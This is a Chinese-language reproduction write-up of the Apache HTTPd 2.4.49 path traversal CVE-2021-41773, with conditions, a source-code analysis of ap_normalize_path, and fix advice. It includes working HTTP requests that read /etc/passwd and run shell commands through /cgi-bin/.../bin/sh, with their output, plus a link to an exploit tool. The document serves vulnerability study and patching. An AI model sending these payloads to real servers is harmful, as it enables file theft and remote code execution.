Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
Apache HTTP Server 路径穿越漏洞复现(CVE-2021-41773 )
高危
1、漏洞简介
Apache HTTPd 是Apache基金会开源的一款HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。攻击者利用这个漏洞,可以读取到Apache服务器web目录以外的其他文件,或读取web中的脚本源码,如果服务器开启CGI或cgid服务,攻击者可进行任意代码执行。
2、影响版本
Apache HTTP Server 2.4.49
某些Apache HTTPd 2.4.50也存在此漏洞
3、漏洞条件
1.配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹
穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的:<Directory />Require all denied</Directory>)
注意:这里的/icons/必须是一个存在且可访问的目录
4、漏洞复现
url:
http://123.58.236.76:59885
burp抓包
GET / HTTP/1.1 Host: 123.58.236.76:59885 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: think_template=default; _ga=GA1.1.940927922.1654650099 Upgrade-Insecure-Requests: 1 If-Modified-Since: Sat, 09 Oct 2021 03:58:16 GMT If-None-Match: "29cd-5cde381698600-gzip" Cache-Control: max-age=0
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令
对包头进行修改
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
回包:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
此处说明存在漏洞
5、漏洞利用
方法1:burp抓包
包头修改
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
POST 提交
echo; ls /
如下:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: 123.58.236.76:59885 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: think_template=default; _ga=GA1.1.940927922.1654650099 Upgrade-Insecure-Requests: 1 If-Modified-Since: Sat, 09 Oct 2021 03:58:16 GMT If-None-Match: "29cd-5cde381698600-gzip" Cache-Control: max-age=0 Content-Length: 10 echo; ls /
回复:
apache2-bin_2.4.49-4_amd64.deb apache2-data_2.4.49-4_all.deb apache2-utils_2.4.49-4_amd64.deb apache2_2.4.49-4_amd64.deb bin boot dev entry.sh etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
方法2:工具利用
工具下载:
https://github.com/inbug-team/CVE-2021-41773_CVE-2021-42013

6、漏洞分析
思路很简单,就是利用 ../ 返回上级目录并显现
但事实上,程序本身会对目录进行过滤,他会处理掉 ../,而确定是否存在 ../ 的函数为 ap_normalize_path
下面进行代码审计
ap_normalize_path,第一段代码如下:
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* 除了 "OPTIONS *", 每个请求路径都应该是以 '/' 开头*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* 如果开启了AP_NORMALIZE_ALLOW_RELATIVE配置就能绕过这个限制 */
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
代码分析:
首先,正常情况下,我们请求的头部应该是这样的
GET /bin/sh
代码中 path = /bin/sh
如果 path[0] != /
那么会出现两种可能,
第一种是 OPTIONS请求,以*开头
第二种if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0')会显示出错
这里还有一点要注意,代码开头设定 l = 1, w = 1;
注:
'\0'表示ASCII码值为0的字符。. 在字符串中'\0'用作字符串的结束标志
IS_SLASH() 判断是否为 /
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* 如果解码成功l指针移动到编码的最后一位,且将解码后的值复制给path[l] */
l += 2;
path[l] = c;
}
}
当path[l] == %时,并且apr_isxdigit(path[l + 1]) 与 apr_isxdigit(path[l + 2]) 为 16进制数时
注:isxdigit(int c) 检查所传的字符是否是十六进制数字
将此 path 判定为 urlencode 编码,对其进行urldecode 解码,同时 l 指针向后移两位
例如:path = /%2e%2e
l = 1
此时 path[1] = %
并且
path[2] = 2 path[3] = e都为16进制数
此时对其进行解码为 '.'
注:
%2e 的 urldecode 解码后为 '.'
在这段代码之后真正的漏洞代码出现了
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
.......
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* 如果l遇到了../开始让w回退到上一个/,不然的话就赋值 */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* 如果w回退到0且后续没有内容则报错 */
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* 因为../的关系让l指针前进两个索引 */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
代码分析
l遇到 ../ 才让w回退到上一个 / ,否则就将路径原模原样赋值给w指针。
那么.的url编码是%2e,如果遇到%2e./就会回退
因为会先进行url解码l索引就变成了../
但如果是 .%2e/ 在执行这段 ../ 回退代码的时候检测不出来 ../ 就会先把 . 赋值给 w指针,之后 l 在 %2e 进行解码变成了 ./ 但是因为w已经前进了一个索引IS_SLASH(path[w – 1])就无法判断成功所以代码又将 ./ 依次赋值给了w指针。
从而让path变量中拥有了解码好的/../路径片段,实现了路径穿越。
其实此段代码就是判断是否存在 两个连续的 .
如果存在,则 w 回退,表示存在问题
如果不存在,则 l 前进,进行后续分析直到结束
举例说明
当 path = /.%2e/%2e%2e 时
path[0] = /
说明未出错,也不是OPTIONS请求,继续进行
path[l] = . 此时 l = 1
进行判断
if (IS_SLASH_OR_NUL(path[l + 1])) { l++; if (path[l]) { l++; } continue; }
注IS_SLASH_OR_NUL() 判断是否为 / 或者 空
如果path[l + 1]是 / 或者 空时,对后续进行判断
l++ 此时 l = 2
如果 path [l] != NULL 时,即path[2] 不为空,
l++ 此时 l =3
此段的目的:
判断是否存在 ./bin 的情况
因为如果有 ./ 即表示当前页面,不做表示,l 前进
如果为 .NULL,那说明此时已经完结
最终 continue
当然,我们举的例子中没有此情况,那么继续进行
我们稍作回忆,此时已经判断到 /.
对后续进行判断
如果 path[l + 1] == .
此时 l = 1 即 path[2]
此处是判断 是否 存在 ../
如果存在 w 回退
否则继续前进
此时我们的例子为path = /.%2e/%2e%2e
正好对此进行绕过,这也是payload中 /.%2e/%2e 的原因
7、修复建议
升级到最新版的Apache HTTP Server 安全版本。
1.升级至2.49.50以上版本 2.关闭目录遍历功能 3.关闭cgi mode
更多推荐



所有评论(0)